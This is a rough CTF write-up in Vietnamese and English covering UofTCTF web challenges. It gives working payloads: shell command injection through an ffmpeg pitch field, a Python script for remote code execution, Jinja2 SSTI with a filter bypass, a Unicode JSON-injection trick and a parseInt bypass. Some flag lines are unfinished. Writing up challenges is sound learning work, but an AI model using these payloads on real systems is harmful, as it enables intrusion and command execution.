## UOFTCTF
### Voice change
đề bài : Voice Changer
vul : command injection
When you go to the page you will see

Flow : click to the micro will record voice
Input pitch is fast or slow @@
after submit your voice will receive
///////////////////////////////////////////////////
$ ffmpeg -i "/app/upload/0a8445c0-b561-11ee-b2b7-a532f82fac95.ogg" -y -af "asetrate=44100*1,aresample=44100,atempo=1/1" "/app/output/0a8445c0-b561-11ee-b2b7-a532f82fac95.ogg"
ffmpeg version 6.1 Copyright (c) 2000-2023 the FFmpeg developers
built with gcc 13.2.1 (Alpine 13.2.1_git20231014) 20231014
configuration: --prefix=/usr --disable-librtmp --disable-lzma --disable-static --disable-stripping --enable-avfilter --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame --enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse --enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau --enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-libsvtav1 --enable-libvpl
libavutil 58. 29.100 / 58. 29.100
libavcodec 60. 31.102 / 60. 31.102
libavformat 60. 16.100 / 60. 16.100
libavdevice 60. 3.100 / 60. 3.100
libavfilter 9. 12.100 / 9. 12.100
libswscale 7. 5.100 / 7. 5.100
libswresample 5. 0.100 / 5. 0.100
libpostproc 57. 3.100 / 57. 3.100
Input #0, matroska,webm, from '/app/upload/0a8445c0-b561-11ee-b2b7-a532f82fac95.ogg':
Metadata:
encoder : Chrome
Duration: N/A, start: 0.000000, bitrate: N/A
Stream #0:0(eng): Audio: opus, 48000 Hz, mono, fltp (default)
Stream mapping:
Stream #0:0 -> #0:0 (opus (native) -> vorbis (libvorbis))
Press [q] to stop, [?] for help
Output #0, ogg, to '/app/output/0a8445c0-b561-11ee-b2b7-a532f82fac95.ogg':
Metadata:
encoder : Lavf60.16.100
Stream #0:0(eng): Audio: vorbis, 44100 Hz, mono, fltp (default)
Metadata:
encoder : Lavc60.31.102 libvorbis
size= 3kB time=00:00:00.03 bitrate= 742.6kbits/s speed=15.3x
[out#0/ogg @ 0x7f8d02d395c0] video:0kB audio:12kB subtitle:0kB other streams:0kB global headers:3kB muxing overhead: 29.082904%
size= 15kB time=00:00:01.69 bitrate= 73.3kbits/s speed=24.4x
/////////////////////////////////////
- see this page use command to research

GPT :

You can see the pitch will inject to ,atempo=1/1
We use command "1.7 $(ls -lha)" to the pitch value
Observe carefully And we can see the output
View exploit


You can see file secret.txt

Flags : uoftctf{Y0URPitchIS70OH!9H}
### No code
Explain :


flag : uoftctf{r3g3x_3p1c_f41L_XDDD}
POC:
```
import requests,json
cmd=input('Commmand: ')
PL=f"\nstr(exec(\"import os; result=os.popen(\'{cmd}\').read();\"))+result"
print(PL)
r=requests.post(
"https://uoftctf-no-code.chals.io/execute",
data={"code": PL}
)
data=json.loads(r.content.decode())
print(data['output'][4:])
```
### GuestBook
Đây là source code của bài này
```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>My Guestbook</title>
<script async=false defer=false>
fetch("https://script.google.com/macros/s/AKfycbyMdMLPsRtvXmcQN1V2yR3Zv_HYI1jvVqOCNAZpx7xgXqSflgwrtcveyUaGB8eTZwkM/exec?sheetId=1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ").then(x=>x.json()).then(x=>{
x.slice(x.length-11).forEach(entry =>{
const el = document.createElement("li");
el.innerText = entry.Name + " - " + entry.Message
document.getElementById("entries").appendChild(el)
})
document.getElementById("loading")?.remove();
})
</script>
</head>
<body>
<h1>
Hi! I made this guestbook for my site, please sign it.
</h1>
<iframe name="dummyframe" id="dummyframe" style="display: none;"></iframe>
<h3 style="margin: 0">Last 10 user entries in the guestbook:</h3>
<p id="loading" style="margin: 0">Loading...</p>
<ul id="entries" style="margin: 0">
</ul>
<h3>Sign the guestbook:</h3>
<form method="POST" action="https://script.google.com/macros/s/AKfycbyMdMLPsRtvXmcQN1V2yR3Zv_HYI1jvVqOCNAZpx7xgXqSflgwrtcveyUaGB8eTZwkM/exec?sheetId=1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ">
<input id="name" name="name" type="text" placeholder="Name" required>
<input id="message" name="message" type="text" placeholder="Message" required>
<button type="submit">Send</button>
</form>
</body>
</html>
```
Nó sẽ gọi một file data theo như mình tìm hiểu thì đây là một file sheet và đoạn
exec?sheetId=1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ
Sẽ là một id riêng biệt cho một sheet
Để xem được nó thì có 2 cách
+ cách 1:
https://docs.google.com/spreadsheets/d/1PGFh37vMWFrdOnIoItnxiGAkIqSxlJDiDyklp9OVtoQ
- sẽ mở một sheet lên và nó chứa flag trong module raw


+ cách 2:
Dùng app script của google hoặc cũng có thể dùng js cũng được

Chạy code và nhận flag:

Flag: uoftctf{@PP 5cRIP7 !5 s0 coOL}
### Jay Bank
Đề bài : Jay's Bank
Tag : trick, mysql, white box
In db.js :

This method converts object to string
Flag exists in config.js

Maintains :

You can see column data contains max 255 chars
Issue : length > 255 cut off the excess data
In routes

IF data.role = admin we can have flag :v
PUT profile
router.put("/profile", jwtAuth, async (req, res) => {
let username = req.user.username;
let existingData = await db.getData(username);
try {
existingData = JSON.parse(existingData);
} catch {
existingData = { role: "user" };
}
let { phone, credit_card, secret_question, secret_answer, current_password } =
req.body;
if (!current_password) {
return res.status(400).json({
success: false,
message: "Missing current password",
});
}
if (
!(
typeof current_password === "string" &&
(await db.verifyPassword(username, current_password))
)
) {
return res
.status(401)
.json({ success: false, message: "Invalid current password" });
}
if (!phone || !credit_card || !secret_question || !secret_answer) {
return res.status(400).json({ success: false, message: "Missing fields" });
}
if (phone.length !== 10 || isNaN(phone)) {
return res
.status(400)
.json({ success: false, message: "Invalid phone number" });
}
if (credit_card.length !== 16 || isNaN(credit_card)) {
return res
.status(400)
.json({ success: false, message: "Invalid credit card number" });
}
if (typeof secret_question !== "string" || secret_question.length > 45) {
return res
.status(400)
.json({ success: false, message: "Invalid secret question" });
}
if (typeof secret_answer !== "string" || secret_answer.length > 45) {
return res
.status(400)
.json({ success: false, message: "Invalid secret answer" });
}
try {
await db.updateData(
username,
db.convert({
phone,
credit_card,
secret_question,
secret_answer,
role: "user",
})
);
return res
.status(200)
.json({ success: true, message: "Successfully updated" });
} catch {
return res
.status(400)
.json({ success: false, message: "Failed to update DB" });
}
});
check secret_answer.length > 45
Remember to unicode "İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ"
Length will > 45
ToLOwerCase() will length > 255 and role: "user", will be cut
payload = {
"phone": "1234567890",
"credit_card": "1234567890987654",
"secret_question": "İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ",
"secret_answer": 'İİİİİİİİİİİİİİİİİİİİİİİİ","role":"admin"}',
"current_password": account['password']
}
Flag : co lam thi moi co an
### MyFirstApp

- Start this challenge i know this is ssti vulnerability but i sit to bypass regex

- I have thought about it in jwt but if I don't do it, it won't work
- Suggestions from the guys in the club i solver this challenge :
- Brute-force key, we have "torontobluejays"
- Let change username to RCE:
- Use payload jinja2(Python)
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
- Malicious stuff: ["'", '_', 'os', 'popen', 'global']
{{()|attr((request|string).17~(request|string).18~(request|string).19~(request|string).20~(request|string).21~(request|string).22~(request|string).23~(request|string).24~(request|string).25)}}
- RCE success you you will have flag
- ý tưởng là từ đó mình có thể nối các chuỗi
Flags: co lam thi moi bài này xong giải nen mình chưa test lại mà luồng đúng rồi nha :#
### The Varsity
đề bài : The Varsity
vul : parseInt vul in javascript
View source have main you can get the flag

You must show item 10 to view it
Main function

Firstly, verify token
Firewall 1:

Get issue from your from and check issue must > 0
Check if subscription !== "subscription" && issue > 9
You understand if all condition are true and subscription !== "subscription" you cant't control it so you can control issue
After that, parseInt(issue)

Verify issue is number or issue > articles.length - 1
Solution 1:

+ You can search parseInt in google to understand it
+If you control issue = "9+5"; issue > 9 and parseInt(issue) is Number
And so we get flag : : uoftctf{w31rd_b3h4v10r_0f_parseInt()!}

+If you control issue = "9 years"; issue > 9 and parseInt(issue) is Number

```
parseInt("10"); => 10
parseInt("10.00"); => 10
parseInt("10.33"); => 10
parseInt("34 45 66"); => 34
parseInt(" 60 "); => 60
parseInt("40 years"); => 40
parseInt("He was 40"); => NaN
```
Flag : trong anh trenoftCTF](https://)